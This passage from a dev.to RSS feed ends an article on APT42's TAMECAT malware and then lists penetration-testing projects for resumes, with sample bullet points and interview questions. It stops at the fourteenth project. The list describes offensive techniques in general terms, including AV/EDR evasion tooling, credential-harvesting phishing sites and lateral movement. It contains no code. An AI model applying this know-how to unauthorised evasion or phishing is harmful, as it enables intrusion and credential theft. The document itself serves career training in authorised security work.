&lt;p&gt;From a technical perspective, APT42's attack methodology demonstrates remarkable consistency: a preference for scripting languages such as PowerShell and VBScript, adept utilization of public cloud platforms for payload storage, and frequent rotation of control channels to evade attribution. The exposure of TAMECAT reaffirms their "modular, covert, and precision-targeted" operational philosophy—achieving long-term surveillance of high-value targets not through complex exploits, but through scripting weapons and social engineering.&lt;/p&gt;

&lt;p&gt;Of particular concern is that multiple TAMECAT variants share core code logic, including encoding arrays and string substitution obfuscation techniques, indicating that APT42 is continuously iterating its arsenal. Future attacks may target additional platforms and industries.&lt;/p&gt;

&lt;p&gt;The essence of cybersecurity is adversarial engagement, and the weapon iteration velocity of nation-state actors far exceeds conventional expectations. For military institutions, classified enterprises, and other core entities, traditional defenses alone are no longer sufficient. A three-dimensional defense system integrating "endpoints + networks + personnel" is essential to maintain defensive posture in this invisible battlespace.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>apt</category>
      <category>malware</category>
      <category>powershell</category>
    </item>
    <item>
      <title>20 Penetration Testing Projects Worth Adding to Your Resume</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Fri, 24 Apr 2026 05:37:20 +0000</pubDate>
      <link>https://dev.to/excalibra/20-penetration-testing-projects-worth-adding-to-your-resume-3d34</link>
      <guid>https://dev.to/excalibra/20-penetration-testing-projects-worth-adding-to-your-resume-3d34</guid>
      <description>&lt;h2&gt;
  
  
  Article Summary
&lt;/h2&gt;

&lt;p&gt;This article addresses the needs of job seekers aiming for penetration testing positions by curating 20 real-world projects spanning entry‑level to expert‑level scenarios. It emphasises applying the &lt;strong&gt;STAR method&lt;/strong&gt; (Situation, Task, Action, Result) and quantifying achievements to enhance resume competitiveness. Core points include: &lt;strong&gt;Entry‑level&lt;/strong&gt; projects such as open‑source CMS penetration testing, SRC (Security Response Center) vulnerability mining, and internal network penetration labs; &lt;strong&gt;Intermediate&lt;/strong&gt; projects like red‑team attack and defense exercises, cloud environment penetration testing, industrial control system security assessments, code auditing, and antivirus evasion techniques; and &lt;strong&gt;Expert‑level&lt;/strong&gt; projects including national “hunt” drills, enterprise security architecture design, APT simulation, toolset development, and data security compliance testing. The article highlights the non‑negotiable prerequisite of legal authorisation, and provides differentiated project recommendations tailored to specific roles (SRC researcher, red‑team operator, compliance auditor). The overarching goal is to demonstrate, through complete and closed‑loop projects, the entire penetration testing workflow, vulnerability discovery capabilities, and experience in defensive remediation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Have you submitted dozens of penetration testing resumes only to hear nothing back? Do you stumble when an interviewer asks, “What is the most technically meaningful project you have worked on?” Many resumes are filled with bullet points like “familiar with OWASP Top 10” and “proficient in Burp Suite and Nessus,” yet still fail the initial screening.&lt;/p&gt;

&lt;p&gt;Stop making these mistakes. HR and technical reviewers scan hundreds of resumes daily; “tool‑manual” style content leaves no impression. What truly makes a candidate stand out is a &lt;strong&gt;complete, closed‑loop project&lt;/strong&gt; with &lt;strong&gt;clear, measurable results&lt;/strong&gt; that showcases core competencies.&lt;/p&gt;

&lt;p&gt;Below are &lt;strong&gt;20 penetration testing projects&lt;/strong&gt;, organised in a progressive gradient from entry‑level to expert‑level. Each one is designed to hit precisely the points that interviewers consider as differentiators, transforming your resume from “invisible” to “interview‑winning.”&lt;/p&gt;




&lt;h2&gt;
  
  
  Prerequisites (Must‑Read)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Compliance is paramount.&lt;/strong&gt; All projects must be conducted under &lt;strong&gt;explicit legal authorisation&lt;/strong&gt;. Unauthorised probing or attacks against any target are strictly prohibited. Follow the &lt;em&gt;Cybersecurity Law&lt;/em&gt;, &lt;em&gt;Data Security Law&lt;/em&gt;, and other relevant regulations. Compliance is the fundamental bottom line for every security professional.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Adopt the STAR method.&lt;/strong&gt; Describe every project using the structure &lt;strong&gt;Situation&lt;/strong&gt; (the context you faced), &lt;strong&gt;Task&lt;/strong&gt; (what needed to be accomplished), &lt;strong&gt;Action&lt;/strong&gt; (the measures you took), and &lt;strong&gt;Result&lt;/strong&gt; (the outcomes achieved). Avoid empty, generic statements.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Quantify results.&lt;/strong&gt; Use concrete numbers: for example, “identified &lt;strong&gt;12 high‑risk vulnerabilities&lt;/strong&gt; and assisted the organisation in remediation, effectively preventing a data breach that could have exposed &lt;strong&gt;millions of records&lt;/strong&gt;,” rather than “performed a penetration test and found some vulnerabilities.”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Tailor projects to the job role.&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;For an in‑house &lt;strong&gt;SRC position&lt;/strong&gt;, emphasise &lt;strong&gt;vulnerability discovery&lt;/strong&gt; and &lt;strong&gt;incident response&lt;/strong&gt;.
&lt;/li&gt;
&lt;li&gt;For a &lt;strong&gt;red‑team role&lt;/strong&gt;, highlight &lt;strong&gt;internal network penetration&lt;/strong&gt; and &lt;strong&gt;ATT&amp;amp;CK‑based attack simulations&lt;/strong&gt;.
&lt;/li&gt;
&lt;li&gt;For a &lt;strong&gt;compliance role&lt;/strong&gt;, focus on &lt;strong&gt;regulatory compliance frameworks (e.g., NIST RMF, ISO 27001, or regional standards)&lt;/strong&gt; and &lt;strong&gt;data security projects&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  Part I: Entry‑Level Projects (6 Projects)
&lt;/h2&gt;

&lt;p&gt;These projects are ideal for &lt;strong&gt;fresh graduates with no prior experience&lt;/strong&gt; and &lt;strong&gt;career changers&lt;/strong&gt; entering the field. They quickly fill the blank spaces on a resume and help build a solid foundational knowledge framework, moving you beyond the “script kiddie” label.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Full‑Lifecycle Open‑Source CMS Penetration Test
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Focus on mainstream open‑source content management systems such as &lt;strong&gt;Joomla&lt;/strong&gt;, &lt;strong&gt;Drupal&lt;/strong&gt;, and &lt;strong&gt;WordPress&lt;/strong&gt;. Independently execute a complete closed‑loop penetration test covering &lt;strong&gt;information gathering → vulnerability detection → exploitation → Webshell acquisition → persistence → report delivery&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffedi0hs6b38vrajujtoz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffedi0hs6b38vrajujtoz.png" alt=" " width="800" height="1021"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Demonstrates full‑chain control of the penetration testing process, not just individual vulnerability exploitation. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Independently performed a full‑lifecycle penetration test (SQL injection, file upload, RCE, etc.), discovering no fewer than **5 verified vulnerabilities&lt;/em&gt;&lt;em&gt;, and produced a complete test report with remediation recommendations.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What was the most challenging defence you encountered during the test?
&lt;/li&gt;
&lt;li&gt;How did you bypass the WAF?
&lt;/li&gt;
&lt;li&gt;What is the core principle behind the remediation you proposed?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Enterprise SRC Vulnerability Mining Practice
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Sign up with legitimate bug bounty platforms (e.g., &lt;strong&gt;HackerOne&lt;/strong&gt;, &lt;strong&gt;Bugcrowd&lt;/strong&gt;, &lt;strong&gt;ByteDance&lt;/strong&gt;, &lt;strong&gt;Butian&lt;/strong&gt;, &lt;strong&gt;Vulbox&lt;/strong&gt; or vendor‑specific SRC programs), conduct authorised vulnerability hunting against approved targets, submit findings, and obtain official severity ratings and acknowledgements.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Provides real‑world combat experience in a genuine enterprise environment. Official vulnerability certifications are “hard currency” for new graduates, far more valuable than local lab exercises. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Registered on **XX vendor’s SRC platform&lt;/em&gt;&lt;em&gt;, submitted **8 high‑ and medium‑risk vulnerabilities&lt;/em&gt;&lt;em&gt;, received official certificates of thanks, and assisted the vendor in remediation and security hardening.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What is the most technically sophisticated vulnerability you have found?
&lt;/li&gt;
&lt;li&gt;What is your core vulnerability‑hunting methodology?
&lt;/li&gt;
&lt;li&gt;How do you perform targeted vulnerability detection against a specific website?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Internal Network Penetration Basic Lab Practice
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Use classic internal network labs such as &lt;strong&gt;HTB Active Directory labs&lt;/strong&gt; or custom domain environments to build a complete intranet attack chain: &lt;strong&gt;external reconnaissance → boundary breach → internal information gathering → lateral movement → domain penetration → domain controller compromise&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpv90jvp0uv6lovlf1h3o.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpv90jvp0uv6lovlf1h3o.jpg" alt=" " width="800" height="622"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Internal network penetration is a key qualification for penetration testing roles. This project directly demonstrates your intranet fundamentals. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Independently completed the penetration test of a **multi‑layer internal domain environment&lt;/em&gt;&lt;em&gt;, proficiently employing techniques such as **PTH, PTT, and token manipulation&lt;/em&gt;&lt;em&gt;, covering the entire internal network attack chain, and delivered a detailed attack‑path analysis report.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can you describe the full process of domain penetration?
&lt;/li&gt;
&lt;li&gt;What are common lateral movement techniques?
&lt;/li&gt;
&lt;li&gt;How do you handle endpoint detection and response (EDR) or antivirus obstacles?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. OWASP Top 10 Vulnerability Reproduction and Exploit Development
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Go beyond tool usage. Deeply analyse the principles of all &lt;strong&gt;OWASP Top 10&lt;/strong&gt; vulnerability types. Set up vulnerable environments to reproduce them, and write custom &lt;strong&gt;POC/EXP&lt;/strong&gt; for high‑profile flaws such as &lt;strong&gt;Log4j2&lt;/strong&gt; and &lt;strong&gt;Shiro deserialisation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Shakes off the “script kiddie” label, proving a solid understanding of vulnerability root causes and fundamental exploit development skills. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Independently reproduced and analysed all OWASP Top 10 vulnerability types, developed **POC/EXP&lt;/em&gt;* for over ten critical vulnerabilities, constructed complete exploit chains, and produced detailed vulnerability principle analysis reports.”*&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Please explain the principle of vulnerability X in detail.
&lt;/li&gt;
&lt;li&gt;What remediation approach would you recommend?
&lt;/li&gt;
&lt;li&gt;What optimisations did you implement in your exploit?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5. Mobile Application Penetration Testing
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Conduct a comprehensive security assessment of mainstream Android applications using tools such as &lt;strong&gt;MobSF&lt;/strong&gt;, &lt;strong&gt;Frida&lt;/strong&gt;, and &lt;strong&gt;IDA&lt;/strong&gt;. Cover client‑side security, server‑side API security, and data transmission security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Expands the penetration testing boundary beyond pure web testing, showcasing &lt;strong&gt;full‑stack assessment capability&lt;/strong&gt; – a differentiator on resumes. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Independently performed an end‑to‑end security test on an Android app, uncovering **hard‑coded credentials, unauthorised APIs, cleartext data transmission&lt;/em&gt;* and more than eight other vulnerabilities, and delivered a full test report along with a client‑hardening proposal.”*&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How do you bypass SSL Pinning?
&lt;/li&gt;
&lt;li&gt;What are the core use cases for Frida?
&lt;/li&gt;
&lt;li&gt;Describe the complete process of reverse engineering an Android app.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6. Incident Response and Traceback Practice
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Use dedicated incident response labs to perform &lt;strong&gt;Windows and Linux log analysis&lt;/strong&gt;, &lt;strong&gt;malware sample analysis&lt;/strong&gt;, &lt;strong&gt;backdoor hunting&lt;/strong&gt;, and &lt;strong&gt;full attack‑chain traceback&lt;/strong&gt;, culminating in a formal incident response report.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F74taqttxdw11p6iv8kaz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F74taqttxdw11p6iv8kaz.png" alt=" " width="800" height="628"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Demonstrates both offensive and defensive skills – you don’t just attack, you can defend and trace back. This is a highly valued capability for in‑house security teams. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Conducted multi‑scenario incident response exercises, accurately reconstructed the complete attack chain, performed malware analysis, backdoor removal, and forensic traceback, and generated industry‑standard incident response reports with hardening recommendations.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What are the critical Windows event IDs for intrusion detection?
&lt;/li&gt;
&lt;li&gt;How do you locate hidden backdoors on a Linux system?
&lt;/li&gt;
&lt;li&gt;How do you identify the attacker’s initial entry point?&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Part II: Advanced Projects (8 Projects)
&lt;/h2&gt;

&lt;p&gt;These are suited for penetration testers with &lt;strong&gt;1–3 years of experience&lt;/strong&gt;. They help you break away from the pack, target mid‑to‑high‑salary positions, and cover the most in‑demand scenarios in the industry.&lt;/p&gt;

&lt;h3&gt;
  
  
  7. Enterprise Red‑Team Attack and Defense Exercise
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Simulate a real &lt;strong&gt;APT attack flow&lt;/strong&gt; based on the &lt;strong&gt;ATT&amp;amp;CK framework&lt;/strong&gt;, conducting reconnaissance, social engineering based phishing for initial access, persistence, lateral movement, data exfiltration, and covering tracks – completing the full red‑team kill chain.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj0bdrrliqew68s88g9uo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj0bdrrliqew68s88g9uo.png" alt=" " width="800" height="613"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Red‑team capability is a core recruitment requirement for security service providers and large tech firms, and a significant salary multiplier. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“As a **core member&lt;/em&gt;* of an enterprise red‑team exercise, implemented a complete attack chain aligned with ATT&amp;amp;CK, breached the perimeter using N‑day vulnerabilities and spear‑phishing, performed multi‑layer lateral movement, obtained access to critical business systems, and produced a comprehensive red‑team report with defensive recommendations.”*&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What are the key stages of the ATT&amp;amp;CK framework?
&lt;/li&gt;
&lt;li&gt;Which part of the exercise were you primarily responsible for?
&lt;/li&gt;
&lt;li&gt;What was the strongest defence you encountered and how did you bypass it?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  8. Cloud Environment Penetration Testing
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Focus on major cloud providers such as &lt;strong&gt;AWS&lt;/strong&gt;, &lt;strong&gt;Azure&lt;/strong&gt;, &lt;strong&gt;Google Cloud&lt;/strong&gt;, &lt;strong&gt;Alibaba Cloud&lt;/strong&gt;, &lt;strong&gt;Tencent Cloud&lt;/strong&gt; (or other regional providers). Conduct full‑spectrum security assessment of cloud resources: &lt;strong&gt;ECS instances, OSS buckets, RDS databases, containers, and Kubernetes clusters&lt;/strong&gt;, including cloud misconfigurations, container escape, and IAM privilege abuse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Over 90% of enterprises have adopted cloud services; cloud penetration testing is now an indispensable skill. This project aligns directly with real business environments. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Performed full‑scenario cloud penetration testing on mainstream cloud platforms, covering compute, storage, container, and K8s cluster security. Discovered high‑risk issues such as **OSS public access, container escape, and improper K8s RBAC configuration&lt;/em&gt;&lt;em&gt;, and delivered cloud‑specific hardening guidance.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What are common container escape techniques?
&lt;/li&gt;
&lt;li&gt;What are the core security risks in a Kubernetes cluster?
&lt;/li&gt;
&lt;li&gt;Name typical cloud IAM misconfigurations.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  9. Industrial Control System (ICS) Penetration Testing
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Set up a simulated industrial control environment, targeting &lt;strong&gt;SCADA systems&lt;/strong&gt;, &lt;strong&gt;PLC controllers&lt;/strong&gt;, and &lt;strong&gt;HMI/SCADA software&lt;/strong&gt;. Discover ICS‑specific vulnerabilities and produce test reports aligned with &lt;strong&gt;applicable cybersecurity requirements for operational technology&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
ICS security is a nationally prioritised domain with a vast talent gap. ICS penetration capability offers a distinct competitive edge, helping you escape the intense commoditisation of web‑only testing. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Independently built an ICS simulation environment and performed penetration testing on SCADA, PLC, and HMI components, identifying unauthorised access, hard‑coded credentials, and proprietary protocol vulnerabilities, and delivered standards‑aligned test report and hardening plan.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What are the fundamental differences between ICS penetration testing and traditional IT penetration testing?
&lt;/li&gt;
&lt;li&gt;How do you prevent operational impact on live industrial processes?
&lt;/li&gt;
&lt;li&gt;What security flaws are typical in common industrial protocols?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  10. White‑Box Code Auditing Practice
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Target open‑source PHP/Java systems and custom enterprise business applications. Use tools like &lt;strong&gt;CodeQL&lt;/strong&gt;, &lt;strong&gt;Seay&lt;/strong&gt;, &lt;strong&gt;Fortify&lt;/strong&gt;, combined with manual review, to uncover vulnerabilities across all categories and produce detailed analysis reports with code‑level fixes.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5wo0ht4m0tygmeaj935j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5wo0ht4m0tygmeaj935j.png" alt=" " width="800" height="538"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Code auditing ability is a &lt;strong&gt;core competitive advantage&lt;/strong&gt;. Engineers proficient in white‑box testing find vulnerabilities much more efficiently than those relying solely on black‑box testing – a key hiring demand at large enterprises. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Conducted white‑box code audits on **more than 20&lt;/em&gt;* open‑source or commercial systems, identifying SQL injection, command injection, deserialisation, and other critical flaws, uncovered over 20 high‑risk vulnerabilities, and delivered complete analysis reports with patch code, assisting vendors in releasing security updates.”*&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Describe your complete code auditing workflow.
&lt;/li&gt;
&lt;li&gt;What type of auditing scenario are you most skilled at?
&lt;/li&gt;
&lt;li&gt;How do you quickly locate dangerous functions and risk points in source code?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  11. Antivirus Evasion Research and Tool Development
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Research static and dynamic evasion techniques against mainstream domestic EDR and antivirus products. Implement and apply methods such as &lt;strong&gt;shellcode encryption, reflective loading, and code obfuscation&lt;/strong&gt;, and develop your own evasion tools.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Evasion is a &lt;strong&gt;core competency&lt;/strong&gt; in internal network penetration and red‑team operations. Engineers skilled in evasion often command salaries &lt;strong&gt;30% or more&lt;/strong&gt; above peers without this skill. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Independently developed multiple evasion tools incorporating shellcode encryption, staged loading, and execution obfuscation. Successfully bypassed static and dynamic detection of leading domestic EDR/AV products, enabling persistence and lateral movement. Produced a detailed technical research report on evasion methodologies.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What are the mainstream evasion techniques?
&lt;/li&gt;
&lt;li&gt;How do you bypass EDR behavioural detection?
&lt;/li&gt;
&lt;li&gt;What is the key advantage of the evasion tool you developed?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  12. N‑day Vulnerability Discovery and Exploit Development
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Use &lt;strong&gt;fuzzing&lt;/strong&gt; and &lt;strong&gt;binary reverse engineering&lt;/strong&gt; to find vulnerabilities in open‑source components and commercial software. Reproduce and analyse N‑day vulnerabilities, craft complete &lt;strong&gt;POC&lt;/strong&gt; (Proof of Concept) and &lt;strong&gt;EXP&lt;/strong&gt; (Exploit) codes, and submit them to a vulnerability database to obtain official identifiers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
This is a key differentiator from average penetration testers, demonstrating core vulnerability research and development ability – the foundation for entering a &lt;strong&gt;security research&lt;/strong&gt; role in major tech firms. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“Applied fuzzing and reverse engineering techniques to discover and reproduce **three or more high‑risk N‑day vulnerabilities&lt;/em&gt;* in open‑source components and commercial software. Authored full POC/EXP and analysis reports, and obtained official &lt;strong&gt;CVE&lt;/strong&gt; identifiers.”*&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Describe your complete fuzzing workflow.
&lt;/li&gt;
&lt;li&gt;What reverse engineering and fuzzing tools do you commonly use?
&lt;/li&gt;
&lt;li&gt;Walk me through the principle and exploitation chain of one vulnerability you discovered.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  13. Social Engineering Hands‑on Project
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Participate in the social engineering component of a red‑team exercise. Conduct target information collection, craft phishing email templates, build phishing websites, perform vishing (phone‑based social engineering), and use social engineering to breach the enterprise perimeter.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Over 80% of real‑world attack simulations achieve initial access through social engineering. Social engineering proficiency is a must‑have skill for red‑team members. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“As a core member of a red‑team exercise, independently handled the social engineering attack phase: designed phishing emails, built credential‑harvesting sites, gathered target intelligence, successfully obtained employee account credentials, breached the enterprise boundary, and produced a detailed social engineering attack report and a security awareness training programme.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequently Asked Interview Questions:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What is the most successful social engineering case you have conducted?
&lt;/li&gt;
&lt;li&gt;How do you increase the click‑through rate of phishing emails?
&lt;/li&gt;
&lt;li&gt;How do you evade enterprise email security gateways?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  14. Enterprise Compliance Penetration Testing Commercial Project
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Project Core:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Act as the &lt;strong&gt;project lead&lt;/strong&gt; for small and medium‑sized enterprises, performing penetration testing as part of &lt;strong&gt;regulatory compliance evaluations&lt;/strong&gt; or annual security assessments. Handle the full process: scoping, testing, reporting, client communication, and remediation guidance – achieving a fully closed loop.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resume Highlight:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Real‑world commercial project experience is a &lt;strong&gt;major differentiator&lt;/strong&gt; for security service positions, much more persuasive than any lab exercise. Write:&lt;br&gt;&lt;br&gt;
&lt;em&gt;“As project lead, successfully delivered **10+ compliance penetration tests&lt;/em&gt;* for SMEs, covering web applications, internal networks, and mobile apps. Identified over 50 high‑risk vulnerabilities, produced standards‑aligned compliance reports, and guided clients through remediation and compliance acceptance with &lt;strong&gt;100% satisfaction.&lt;/strong&gt;”*&lt;/p&gt;

